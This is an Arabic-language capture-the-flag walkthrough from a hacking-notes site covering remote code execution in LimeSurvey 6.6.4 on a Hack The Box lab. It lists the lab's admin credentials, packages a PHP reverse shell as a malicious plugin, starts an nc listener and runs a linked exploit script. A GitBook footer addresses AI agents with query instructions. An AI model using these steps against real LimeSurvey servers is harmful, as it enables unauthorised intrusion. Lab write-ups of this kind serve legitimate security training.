> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/cms/limesurvey-cms-exploitation.md).

# LimeSurvey

## ثغرة في نظام إدارة المحتوى LimeSurvey

{% embed url="<https://nasirli.medium.com/limesurvey-6-6-4-rce-0a54c2c09c5e>" %}

<figure><img src="/files/f20037ed98034df1cc5ad98464051937730c7e7d" alt=""><figcaption></figcaption></figure>

#### الوصول إلى منطقة الإدارة

واجهة الإدارة متاحة على عنوان URL التالي:

`http://take-survey.heal.htb/index.php/admin`

سجّل الدخول باستخدام بيانات اعتماد Ralph:

* **اسم المستخدم** : `ralph`
* **كلمة المرور** : `147258369`

<figure><img src="/files/955db5a3e55d72672cbe5d0a4c71a997b3590cb5" alt=""><figcaption></figcaption></figure>

إصدار LimeSurvey هو **6.6.4**، وهو عرضة لـ **تنفيذ الأوامر عن بُعد (RCE)**.

<figure><img src="/files/187f13bd50e45af73c1f2c0ff7e46a9baf5490c1" alt="" width="563"><figcaption></figcaption></figure>

### استغلال RCE عبر إضافة خبيثة

{% embed url="<https://github.com/N4s1rl1/Limesurvey-6.6.4-RCE>" %}

قم بتكييف سكربت الاستغلال مع سياق الهدف.

<figure><img src="/files/10542b54b4f6e2ab9c56aaa9b3a0ed6c3707bb88" alt=""><figcaption></figcaption></figure>

أولًا، أنشئ أرشيفًا يحتوي على `config.xml` وملف PHP عكسي:

```bash
zip -r N4s1rl1.zip config.xml revshell.php
```

<figure><img src="/files/a5e913a95559bffa1ad17fdc4e59298d8daf3044" alt=""><figcaption></figcaption></figure>

ثم ثبّت الإضافة الخبيثة عبر واجهة LimeSurvey الويب.

<figure><img src="/files/e9bcc76072b2ff67d0ad18c35e56ade6722bae91" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/b017f7b1832899f361ba8420a3b08f916fd9d3bf" alt="" width="501"><figcaption></figcaption></figure>

مرّر المؤشر فوق الإضافة المثبتة لتحديد معرّف الإضافة.

<figure><img src="/files/e5497e235ca76f054900fc9bd2a544a9992bb326" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/bb2f22729edc1ce84953bd3b9d0cbacb2d0cb3dd" alt="" width="563"><figcaption></figcaption></figure>

بعد تحديث السكربت بذلك المعرّف، ابدأ مستمعًا على المنفذ 443:

```bash
nc -nlvp 443
```

أخيرًا، شغّل الاستغلال باستخدام Python:

```bash
python3 exploit.py http://take-survey.heal.htb ralph 147258369 80
```

<figure><img src="/files/5424fedc935c4f225a32500507a2699027d9ee8f" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/cms/limesurvey-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
